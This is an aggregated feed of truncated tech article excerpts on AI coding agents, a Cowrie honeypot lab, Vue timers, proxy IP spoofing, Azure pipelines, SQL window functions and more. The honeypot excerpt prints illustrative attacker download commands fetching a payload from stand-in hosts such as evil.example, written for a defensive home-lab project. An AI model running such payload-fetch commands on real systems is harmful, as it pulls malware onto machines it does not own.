AI 资讯
AI Coding Agents Can Pass Tests and Still Make the Wrong Decision
A question I've been thinking about after discussing AI coding agents with several developers: Is passing the test suite enough to prove that an AI agent made the correct engineering decision? I don't think it is. And this isn't just a theoretical concern. Modern coding agents are increasingly working at the repository level rather than generating isolated code snippets. OpenAI's Codex documentation, for example, describes using repository-specific AGENTS.md instructions to tell the agent how to navigate a codebase, run tests, and follow project practices. Anthropic similarly describes Claude Code searching codebases, tracing dependencies, editing multiple files, and working with CI failures. ( OpenAI ) That changes what "correctness" means. Consider a simple scenario A project starts with: Architecture v1 API ↓ Service ↓ Database An AI agent learns this structure and implements a new feature correctly. The tests pass. Then the architecture changes: Architecture v2 API ↓ Event Bus ↓ Services ↓ Database The same task is requested again. If the agent continues following the old architecture, its code might still: compile, pass existing tests, satisfy the visible functional requirement, but still be wrong for the current system . This is the distinction I'm interested in: Code correctness ≠ Contextual correctness The Benchmark Problem Traditional coding benchmarks generally provide: Repository + Issue ↓ Agent ↓ Patch ↓ Tests / Evaluation This is valuable. SWE-bench, for example, was designed around real GitHub issues and repositories, and OpenAI created SWE-bench Verified with human validation because benchmark quality itself affects what we conclude about model capability. ( OpenAI ) But there is another dimension worth testing: What happens when the context changes? Recent research is already moving in this direction. SWE-ContextBench evaluates whether coding agents can reuse relevant experience across related tasks, while SWE-Explore focuses specifically on reposito
AI 资讯
I Made My Honeypot Download Malware.
TL;DR: I wanted Cowrie to actually download the malware attackers were throwing at it. Unfortunately, my security controls had other ideas. I found a way around the problem without weakening my OPNsense rules. Table of Contents The problem: my honeypot was too well protected Why I didn't just whitelist Cowrie The solution: Cowrie goes Tor The Docker Compose Now the download actually happens And now things get interesting One important disclaimer The problem: my honeypot was too well protected I've been playing around with Cowrie in my home lab, running it in Docker on Proxmox behind OPNsense. The goal is pretty simple: Let attackers do stupid things to a machine that exists specifically so attackers can do stupid things to it. I wanted Cowrie to capture malware that attackers were trying to download, then automatically send useful bits of it to VirusTotal and Urlhaus. There was just one small problem. My firewall was doing its job. Which, in this particular case, was extremely inconvenient. My network looks roughly like this: Internet | v OPNsense | +-- CrowdSec | v Proxmox | +-- Cowrie OPNsense is doing the usual sensible security things, including CrowdSec blocking known malicious destinations. Normally: Excellent. Five stars. Keep doing that. But Cowrie is not a normal server. If an attacker gets a shell and runs: wget http://some-sketchy-ip/payload I don't want OPNsense to say: "Absolutely not, that's malware." I want Cowrie to say: "Oh? You're downloading something? By all means. Please continue." Because that's literally why the honeypot exists. Instead, I was getting something like: Attacker | v Cowrie | v wget http://evil.example/payload | v OPNsense | v NOPE The malicious URL was known to CrowdSec, so the outbound connection was blocked. No download. No sample. No analysis. Just a very secure honeypot sitting there politely refusing to get hacked. Not exactly what I ordered. Why I didn't just whitelist Cowrie The obvious solution is to create a firewall rul
AI 资讯
Perry Mason in: The Case of the Drifting Timer
Perry Mason in: The Case of the Drifting Timer Opening Statement You need a reactive "current time" in your Vue 3 app. A schedule grid with a red line showing "now." A live clock. A dashboard that updates every minute. Every Vue developer reaches for setInterval first. It works. But "works" and "works well" are different things. This is the story of taking a naive timer from "it ticks" to production-grade — and the four iterations it took to get there. The prosecution calls four exhibits. Let's begin. Exhibit A: The Memory Leak const currentTime = ref ( new Date ()) onMounted (() => { setInterval (() => { currentTime . value = new Date () }, 60000 ) }) It works. Sort of. The defense rests — but the prosecution is just getting started. Exhibits of negligence: The interval is never cleared. When the component unmounts, the timer keeps firing every 60 seconds forever — updating a ref nothing reads anymore, and holding its closure (and everything the ref references) in memory for the lifetime of the page. Silent. Invisible. The kind of leak that shows up in production after a user navigates around your app for 20 minutes. Exhibit B: The Cleanup That Failed const currentTime = ref ( new Date ()) let timeInterval = null onMounted (() => { currentTime . value = new Date () timeInterval = setInterval (() => { currentTime . value = new Date () }, 60000 ) }) onUnmounted (() => { if ( timeInterval ) clearInterval ( timeInterval ) }) Now we clean up. The interval is stored in a variable, cleared on unmount. A step forward — but the prosecution has three more objections: Further evidence: This only works inside components. If someone calls this logic from a Pinia store or outside a component's setup() context, onUnmounted never fires. The timer leaks silently. (Composables called synchronously during setup() are fine — Vue's docs recommend exactly that. The problem is when there's no component instance at all.) The timer fires 60 seconds after load , not at the top of the minute
AI 资讯
Cross-Post a DEV.to Tutorial to Medium with a Formatting Check
Cross-posting a technical tutorial is easy to start and surprisingly easy to get wrong. A URL import can leave code blocks split, headings as plain text, or metadata incomplete. The result may look acceptable at a glance while damaging the parts readers need most. This tutorial shows a reviewable DEV.to to Medium workflow using publish-agents , an open-source TypeScript project by Fernando Paladini. Its medium-publisher package imports a public article through Medium's import flow, checks the editor against the source Markdown, and can repair a small set of common formatting problems. TL;DR Checkout the stable v0.2.3 release, build the @paladini/medium-publisher-mcp package, log in once, and create a Medium draft with publish-devto . Keep the default draft behavior while you inspect the title, code blocks, headings, lists, and metadata. Prerequisites You need: Node.js 20 or newer. A published DEV.to article with a public URL. A Medium account that can create stories. A terminal that can run npm and the browser installation step. The package uses Patchright browser automation and a saved browser session. It does not use a Medium write API key. The project documents Medium UI changes as a compatibility risk, so treat the browser session and the resulting draft as reviewable state rather than an unattended guarantee. Install the released source The repository's v0.2.3 release is the stable reference for this walkthrough. Installing from that tag keeps the commands separate from later changes on the default branch. git clone https://github.com/paladini/publish-agents.git cd publish-agents git checkout v0.2.3 npm install npm run build -w @ paladini/medium-publisher-mcp npm link -w @ paladini/medium-publisher-mcp The build produces the CLI and MCP server from the package source. The package declares Node.js 20 or newer and uses patchright as its browser automation dependency. Its post-install step may install the bundled Chromium browser. If that step was skipped in your
AI 资讯
Install Comfy MCP: Control Local ComfyUI from Claude Code or Cursor
Comfy MCP is Comfy's first-party local Model Context Protocol server. It lets an MCP-capable coding agent inspect the models and nodes in your ComfyUI installation, validate workflows, run them, and retrieve the outputs. The detail that prevents the most confusion is that two processes are involved : comfy launch starts ComfyUI. Your AI client starts comfy-mcp as a local stdio server. If you run comfy-mcp directly and it appears to do nothing, it is probably waiting for an MCP client. That is normal for a stdio server. Disclosure and verification scope: AI tools assisted with drafting and editing this adaptation. I reviewed the finished article and checked the commands and material claims against Comfy's official documentation, repository, and PyPI pages on 13 August 2026. I have not run a generation on my own hardware for this article, so this is a documentation-verified setup guide, not a hands-on performance test. Comfy's documentation currently labels the MCP offering a public beta, so tools and behaviour may change. What you need Before starting, have: Python 3.10 or newer. The examples below use Python 3.11. comfy-cli 1.14.0 or newer. A ComfyUI workspace, either created with comfy install or selected with comfy set-default . An MCP client that can start a local stdio server, such as Claude Code, Cursor, or Claude Desktop. The models and custom nodes required by the workflow you want to run. The MCP bridge is not what determines the hardware requirement; the selected ComfyUI workflow does. A small image workflow and a large video workflow can have very different memory needs. 1. Install comfy-cli and comfy-mcp I prefer a dedicated virtual environment. It keeps the executables in a predictable place and avoids mixing these packages with unrelated Python projects. Windows PowerShell mkdir comfy-mcp-guide cd comfy-mcp-guide py -3 . 11 -m venv . venv . \.venv\Scripts\Activate.ps1 python -m pip install --upgrade pip python -m pip install "comfy-cli>=1.14.0" comfy-mc
科技前沿
In a Heat Wave, Schizophrenia Is So Much Deadlier Than Any Other Medical Condition
People with schizophrenia face a perfect storm of dangers on a hotter planet.
AI 资讯
Your rate limiter is broken behind a tunnel — the X-Forwarded-For problem
You put your app behind a tunnel (or any reverse proxy) to test webhooks. Everything works. Then you notice something odd in your logs: every single request comes from the same IP address. Congratulations, you've met the X-Forwarded-For problem. What actually happens When a request flows through a tunnel, the TCP connection to your app comes from the relay, not the real client. So request.remote_addr — the value your framework uses for rate limiting, IP logging, geo-blocking, brute-force detection — is the relay's address. For every request. From every user. The consequences are quiet and nasty: Your rate limiter now rate-limits the relay, not the client. One aggressive user trips the limit and everyone gets blocked. Or worse, the limit is per-IP and effectively unlimited, because each relay node looks like one "user." * Your access logs are fiction. Security review of an incident? Every entry says the same address. * IP allowlists silently break. "Only allow my office IP" now allows nothing, or everything, depending on how it's wired. The fix (and its trap) The proxy already tells you the real client IP — in the X-Forwarded-For header. Every framework has a setting to trust it. Flask: ProxyFix . Express: app.set('trust proxy', ...) . Rails, Django, Laravel: equivalents exist. Here's the trap: trust that header blindly and anyone can spoof it. A client can send X-Forwarded-For: 1.2.3.4 directly, and if your app believes headers from anyone, your rate limiter is bypassed with a curl flag. The correct setup has two halves: 1. Trust `X-Forwarded-For` only when the immediate connection comes from a proxy you control (your tunnel relay, your load balancer). 2. Strip or ignore the header on direct connections. Most frameworks express this as "trusted proxies" — a list of proxy IPs whose forwarded headers you believe. Set it. It's five minutes of config that determines whether your security features are real or decorative. Why this matters more in the tunnel era Tunnels us
开发者
The Developer Who Put an OS on the Amiga — Tim King (1947–2026)
A Cambridge Student Writes an Operating System In the late 1970s, a Cambridge computer science student named Tim King needed an operating system for the Cambridge LISP machine. What he built instead was Tripos — a preemptive multitasking operating system written in BCPL that would, improbably, end up powering one of the most beloved home computers of the 1980s. King earned his Ph.D. at Cambridge in 1979. Tripos wasn't a university project exactly — it was born of necessity, the kind of system building that Cambridge encouraged. It was compact, fast, and remarkably capable for something written by a single person. It had a kernel, file system, windowing system, and a command-line interpreter, all in BCPL. What made Tripos special wasn't just that it worked — it was that it worked well . Preemptive multitasking in the 1970s was serious engineering. Most personal computers of the era couldn't do it at all. The Amiga wouldn't ship for another six years, and when it did, Tripos would be at its core. From Cambridge to MetaComco In 1984, King joined MetaComCo, a software company based in Bristol. He brought Tripos with him. The timing was perfect — Commodore was developing the Amiga, and they needed an operating system. The hardware was revolutionary: custom chips for graphics and sound, a Motorola 68000 CPU, and multitasking capabilities that put other home computers to shame. But the software wasn't ready. Tripos became the foundation of AmigaDOS. It wasn't a port in the traditional sense — the BCPL-based Tripos was adapted and integrated into the Amiga's environment, creating a hybrid system that combined the Amiga's custom hardware capabilities with Tripos's mature OS architecture. The result was a computer that could multitask in 1985, years before Windows or Mac OS could do the same. The Amiga shipped in 1985. AmigaDOS gave it a command-line interface, file system, and process management that were years ahead of anything else in the consumer market. The Amiga became
AI 资讯
Warning Lines Are an Interface: Reading Bullet-Hell Hazards as Data
In a dense survival game, danger is not communicated only by the projectile itself. The warning that appears before impact is part of the interface. Its direction, duration, width, and overlap with other warnings determine whether a player can make a meaningful decision. No Humanity provides a useful compact example. The reviewed classic build places a tiny ship inside a vertically framed arena and measures survival time while lasers, projectiles, sweeping shapes, doodled faces, and radial bursts occupy the screen. The ship does not visibly attack in the reviewed footage; survival depends on reading hazards early and preserving room to move. Treat every warning as an event A guide or analysis tool can represent a warning with a small event record: type HazardEvent = { source : ' laser ' | ' radial ' | ' sweep ' | ' projectile ' telegraphRegion : Rect impactRegion : Rect leadTimeMs : number escapeSides : Array < ' left ' | ' right ' | ' up ' | ' down ' > } This is more useful than describing a screenshot as “chaotic.” It separates what the player can know before impact from what becomes visible afterward. A fair hazard may be difficult, but it gives the player a readable interval and at least one plausible escape route. Open space has option value Beginners often move toward the largest empty area. That is not always safe. A large pocket can be a trap if a sweep closes its only exit. Smaller central space can be more valuable because it preserves several escape directions. The strategy is therefore not “find empty pixels.” It is “preserve optional movement.” A rough evaluator might score a position by reachable space after the next known impact, not by current distance from a projectile. position score = future reachable area + escape directions - overlapping impact risk This framing explains why early movement matters. Waiting until the projectile is fully drawn converts a route-planning problem into a reaction-time test. Overlap changes the meaning of each signal T
AI 资讯
Designing Puzzle Hints Around Blockers, Not Tap Sequences
A weak puzzle walkthrough records every input. A stronger one explains why the board refuses to move. That distinction matters in traffic-sorting puzzles, where a correct tap can still be useless if a garage exit, crossing lane, or temporary holding space remains blocked. I used Car Sort level 13 as a small case study for a better hint model. The useful unit is not “tap car number seven.” It is a dependency: this vehicle cannot leave until that lane opens; that lane cannot open until a matching garage accepts its front car. Model the board as dependencies The visible board can be represented as a directed graph. Cars and blockers are nodes. An edge from A to B means A must move before B becomes actionable. The graph does not need to reproduce the game engine. It only needs to describe the decisions a player can verify on screen. type MoveNode = { id : string color : string blockedBy : string [] releases : string [] checkpoint : string } This structure makes a hint resilient. If a player has already cleared one harmless car, the guide can still say, “restore the center exit, then release the stack behind it.” A memorized tap list often becomes useless as soon as the board differs by one move. Separate release moves from cleanup moves Puzzle solvers tend to treat every successful departure as equal. They are not equal. A release move changes the dependency graph by opening a lane or exposing a buried color. A cleanup move removes a car that was already free. Good guidance labels those roles explicitly. The player should know whether the current move creates new options or merely reduces clutter. That is especially useful on compact boards, where an attractive matching car may tempt the player even though it does not improve the central bottleneck. The reserved route for this analysis is documented as Car Sort puzzle help . The value of that page is its focus on visible blockers and release points rather than an unexplained command stream. Add visual checkpoints After
AI 资讯
How to Fix 'NoneType' Object Has No Attribute Errors (Without Guessing)
Your script crashes, and near the bottom of the traceback sits AttributeError: 'NoneType' object has no attribute 'name' . It reads like Python is being deliberately unhelpful — but it's actually telling you something precise. You just tried to use a variable that turned out to be None , and it's telling you exactly which one and where. The error isn't saying your program is fundamentally broken. It's saying: at this exact line, you reached for an attribute on a value that was None instead of the object you expected. That's a narrow claim, and once you know how to read it, tracking down why it was None is usually mechanical. What the error is actually telling you Take this code: class User : def __init__ ( self , id , name ): self . id = id self . name = name def find_user ( users , user_id ): for u in users : if u . id == user_id : return u return None user = find_user ( users , target_id ) print ( user . name ) # AttributeError: 'NoneType' object has no attribute 'name' Read the message in two parts. 'NoneType' object has no attribute 'name' tells you the object you called .name on wasn't a User — it was None . has no attribute 'name' tells you which access failed. Put together: whatever user was pointing to when you hit that line wasn't what you expected — it was nothing at all. The message never claims .name is the problem. .name is just where the crash became visible. The real question is one step earlier: why was user None ? Here, find_user() falls through its loop without a match and explicitly returns None — so either target_id is wrong, or that user genuinely isn't in the list yet. The fix, step by step Read the attribute name in the error ( 'name' here) — that tells you which line and which access failed, nothing more. Trace back to where the None value came from. Find the line that assigned, returned, or fetched it. Ask why it's None there , specifically. The most common causes: a lookup function that found nothing and returned None , a dict.get() call th
AI 资讯
Building a Graph From Tabular Relationship Data
Almost every graph starts life as relational tables. The conversion is mechanical once three decisions are made, and one of the three — id remapping — is a silent correctness bug rather than a matter of taste. Deciding what is a node Start with three tables: customers (customer_id, region, signup_date, tenure_days), products (product_id, category, price), and orders (order_id, customer_id, product_id, amount, ordered_at). The rule that resolves nearly every case: A table with a primary key that other tables point at is a node type. A table whose whole job is to link two keys is an edge type. So customers and products are nodes, and orders are edges — even though orders has its own primary key. The order id is not an entity you want to reason about; it is an identifier for a relationship. The harder case is a repeated categorical column such as region . It can stay a customer feature, or it can become a node type with a customer–region edge. The test is behavioural, not aesthetic: do you want information to flow between rows that share this value? As a feature, region is a tag on each customer and nothing more. As a node, it creates a two-hop path between every pair of customers in the same region, so their representations start blending. If a region contains 400,000 customers, that node is a hub through which everything mixes, which is usually a way of turning four hundred thousand distinct customers into one regional average. Keep high-cardinality-of-membership categoricals as features; promote a category to a node when its membership is small and meaningful. If you end up with more than one node type, the model has to change too — see heterogeneous graph neural networks . The id remapping nobody warns you about Graph libraries do not store your ids. They store a node feature matrix and an edge index of integer positions into it, because a message-passing layer is a gather over rows of a dense array. So node ids must be contiguous integers from 0 to n−1 , per node
AI 资讯
Extracting a Bibliography Into Structured Citation Records
The instinct is to hand the whole reference list to a model and ask for an array of citation objects. On a list of eighty entries that produces seventy-three, with two merged and five hallucinated into tidiness. The fix is to make segmentation a separate, deterministic step. Two stages, and why the first one is harder Parsing one reference string into author, year, title and venue is a task current models do well. Deciding where one reference ends and the next begins is a task they do badly, because the boundary is typographic rather than semantic: a hanging indent, a numeric label, a line break that is either a wrap or a separator depending on the column width. Splitting the work also gives you a count to assert against. If the list is numbered 1 to 84 and you segmented 81 entries, you know the parse is wrong before you have looked at a single field. A single-call extraction gives you no such handle — a merged pair looks identical to a list that was three shorter. Step 1: segment the list Three reference-list styles cover almost everything, and each has a different boundary signal: Numbered (Vancouver, IEEE). Each entry begins with 1. or [1] . Boundary detection is a regex, the sequence is monotonic, and you get the assertion for free. Author-date (APA, Harvard, Chicago author-date). No labels. Entries are separated by a hanging indent — the first line starts at the margin and continuations are indented — which is invisible in a flat text stream and obvious in the layout. Note-bibliography (Chicago notes). Also unlabelled, also hanging-indented, and additionally uses a three-em dash for a repeated first author, which is the case discussed below. For the unlabelled styles, segment on the indent rather than on the text. If you have coordinates from the PDF, an entry starts at every line whose left edge is at the block minimum and continues through every line indented further. If you do not have coordinates, a reasonable proxy is a line that begins with a capital lett
AI 资讯
Gating a Merge on an Eval Score in Azure Pipelines
If your Azure Pipelines eval gate runs on pushes to main but never on a pull request, the YAML is not the problem. Microsoft’s documentation is explicit: for an Azure Repos Git repository you cannot configure a PR trigger in the YAML file, and the functionality is implemented by a branch policy instead. Why your pr trigger does nothing The pr: key exists in the Azure Pipelines YAML schema, and it works — for GitHub and Bitbucket Cloud repositories. For Azure Repos Git it is inert. The Azure Repos Git documentation states that pull request triggers are implemented using branch policies, and that to enable PR validation you configure the Build validation policy on the target branch. A pr: block in the file is not an error and produces no warning; it simply never causes a run. Two related things surprise people once the policy exists. Draft pull requests do not trigger a pipeline even with a branch policy configured, so a gate that seems not to run may be running against a draft. And you must be a project administrator of the project to configure validation builds at all, which is why this is often the step that a developer cannot complete themselves. This is a product behaviour rather than a version detail, but it is the kind of thing that changes. Check the Azure Repos Git page in Microsoft’s Azure Pipelines documentation before assuming it still holds. The pipeline A single-stage pipeline is enough. The CI trigger below covers pushes; the pull request path comes from the policy in the next section, and no pr: key appears at all because on Azure Repos it would only be misleading to a reader. trigger : branches : include : - main paths : exclude : - docs/* pool : vmImage : ubuntu-latest variables : - group : llm-eval-keys - name : EVAL_MODEL value : gpt-4.1-mini-2025-04-14 steps : - task : UsePythonVersion@0 inputs : versionSpec : ' 3.12' - script : pip install -r evals/requirements.txt displayName : Install eval dependencies - script : | python -m evals.run \ --cases
AI 资讯
Authenticating to Azure OpenAI With Managed Identity
The substitution is three lines of client code. The part that costs an afternoon is that the most powerful-looking Azure OpenAI role is explicitly unable to make an inference call. What a key cannot do An Azure OpenAI resource key is a bearer secret with no identity, no expiry and no scope narrower than the whole resource. Every deployment on the resource is reachable with it, every caller looks identical in the audit trail, and rotating it means coordinating every consumer at once. A managed identity replaces it with a short-lived Microsoft Entra ID token issued to a specific workload identity. The credential is never stored, the token expires on its own, and the grant is a role assignment you can scope to a resource group, a resource, or nothing at all. Combined with a private endpoint, it removes the two things an attacker needs — the network path and the static secret. The role that permits inference Microsoft documents four roles for Azure OpenAI, and the summary table on its RBAC article makes one distinction that is worth reading twice: Cognitive Services OpenAI User — can make inference API calls with Microsoft Entra ID. Cannot read or regenerate keys, cannot create deployments, cannot create guardrails. Cognitive Services OpenAI Contributor — everything the User role has, plus creating and editing deployments, fine-tuning and stored completions. Cognitive Services Contributor — can create resources, read and regenerate keys, and create customised guardrails, but is listed as unable to make inference API calls with Microsoft Entra ID . Cognitive Services Usages Reader — quota visibility only, and only at subscription scope. That third entry is the trap. Granting an application the Contributor role because it sounds broader produces an application that can rotate the keys it is no longer using and cannot call the model at all. The role you want for a workload is Cognitive Services OpenAI User , and nothing else. Microsoft also notes that subscription-level Ow
AI 资讯
Twitch streamers can now opt out from training Amazon’s AI
Twitch users can now opt out of allowing their content to be used to train Amazon's generative AI models. Opting out means that "your streams, VODs, clips, stream chats, and pictures and text on your channel" won't be used in "future training" of an Amazon AI model "whose purpose is to generate or synthesize text, […]
AI 资讯
Form Energy raises $750M to build more 100-hour batteries for the grid
Form Energy has landed Google and Crusoe as customers. Now, it has raised $750 million to expand manufacturing to deliver its massive, 100-hour batteries.
AI 资讯
Building a Multi-Engine 3D Generation API: Routing, Credits, and Webhooks
How I designed the API layer for Trify3D — a platform that routes one input across multiple AI 3D engines (Tripo3D, Meshy, Rodin) so users can compare meshes side by side. This post covers provider routing, async job management with Trigger.dev, idempotency for credit safety, and webhook delivery. The Problem Every AI 3D engine has a blind spot. Tripo3D is fast (~48 seconds) and great at hard-surface props, but it flattens organic detail. Meshy handles characters and creatures more cleanly (~76 seconds), but its topology gets messy on hard surfaces. Rodin produces the highest-fidelity PBR textures (~90 seconds), but it's the slowest and most expensive. If a user picks one engine, they're stuck with its weaknesses. To compare results, they'd need three separate accounts, three subscriptions, and three credit pools — then manually juggle browser tabs. I built Trify3D to solve this: one input, every engine, one credit pool. A user uploads an image or writes a prompt, the platform routes it to multiple 3D AI engines simultaneously, and they compare the meshes side by side before exporting the winner. This post is about the API layer that makes that work. Architecture Overview Here's the high-level flow: Client Request │ ▼ ┌──────────────────┐ │ API Gateway │ Bearer auth, rate limit, idempotency check │ (trify3d.com) │ └────────┬─────────┘ │ ▼ ┌──────────────────┐ │ Provider Router │ Routes to Tripo3D / Meshy / Rodin │ (mode + model) │ based on mode + model prefix └────────┬─────────┘ │ ┌────┼────┐ ▼ ▼ ▼ ┌──────┐┌──────┐┌──────┐ │Tripo3D││Meshy ││Rodin │ Async generation └──┬───┘└──┬───┘└──┬───┘ │ │ │ └───────┼───────┘ ▼ ┌──────────────────┐ │ Trigger.dev │ Job orchestration, retries, 10-min timeout │ (async runner) │ └────────┬─────────┘ │ ┌────┴────┐ ▼ ▼ ┌────────┐ ┌──────────┐ │ Poll │ │ Webhook │ Client picks one or both │ (GET) │ │ (POST) │ └────────┘ └──────────┘ Three decisions drove this architecture: Async-first — 3D generation takes 48–90 seconds. No HTTP reque
AI 资讯
AI Is Removing the Middle Class of Software Engineering
You can prompt an agent for three hours and ship a 25,000-line pull request. Nobody on your team can tell you why it works — or why it breaks at 2 AM. The New Workflow It's 2026. You're the senior engineer on a mid-size product team. Your job has always been the person who catches the architecture mistakes before they compound — the one who notices that a Kafka dependency was grafted onto a read-heavy query, or that someone denormalized the database because it was faster than fixing the ORM. This morning, you open your inbox. There are seven pull requests. The first one is 24,506 lines added, 3,938 removed, with a description that reads: "Implemented user analytics pipeline with event streaming." You pull the branch. It runs. The tests pass. When you ask the author where the data flows, they send you a link to a Claude conversation. Somewhere in that 47-turn exchange, between confident architectural recommendations and polite apologies when the model changed its mind, is the design decision. You read all 47 turns. You still don't know why they chose Kafka. This is not a hypothetical. This is what the post-AI-productivity era looks like for teams that adopted coding agents without updating their engineering discipline. The speed limit has been removed. And the people who built their careers on being the speed limit are now obsolete. What Changed Before AI coding assistants, there was a natural throughput cap on software output. A senior engineer could review perhaps three meaningful pull requests per day. A team of ten could ship maybe fifteen high-quality merges per sprint. This cap wasn't arbitrary — it was enforced by the time required to actually understand what you were merging. AI changed the cost structure, not the review requirement. A developer armed with a capable agent can now produce 25,000 lines of code in a morning. The agent writes the code. The agent writes the tests. The agent writes the documentation. The agent even writes the PR description, which
AI 资讯
SQL Window Functions: How to Get the Top Row Per Group
By the end of this page you can answer the question that stops most people the first week they write SQL: which row is the best one in each category. You will know OVER and PARTITION BY , the three ranking functions and how each treats a tie, a running total, and LAG for comparing a row to the one before it. It is about twenty-five minutes. Here is what to actually do with it. The next time you write GROUP BY genre and get back a best rating without the name attached to it, stop rewriting the GROUP BY . Add ROW_NUMBER() OVER (PARTITION BY genre ORDER BY rating DESC) to the plain query instead, then keep the rows numbered 1. That is the whole move, and it replaces a query most people never get working. The short version: a window function adds a calculated column to each row while leaving every row in place. Grouping collapses rows. A window looks at them. One idea decides everything else on this page, so it gets the picture. Both halves do the same arithmetic over the same four rows, and only one of them still has four rows at the end. The original carries a diagram here. In words: Two panels side by side, each starting from the same stack of four identical row shapes. The left panel is labelled GROUP BY. Its four rows funnel down through a single arrow into one row at the bottom, and the four original rows are shown faded to indicate they are gone from the result. Only one row remains. The right panel is labelled OVER. Its four rows stay exactly where they are, at full strength, and each one gains a small badge on its right hand side holding a number: one, two, three, four. Nothing funnels and nothing is faded. The contrast is the whole idea: the left panel ends with a single summary row and no way to say which original row it came from, while the right panel ends with all four rows still present, each carrying its own calculated value. The worked example is real. Every number on this page comes from a published portfolio project: finding the genuinely overlooked g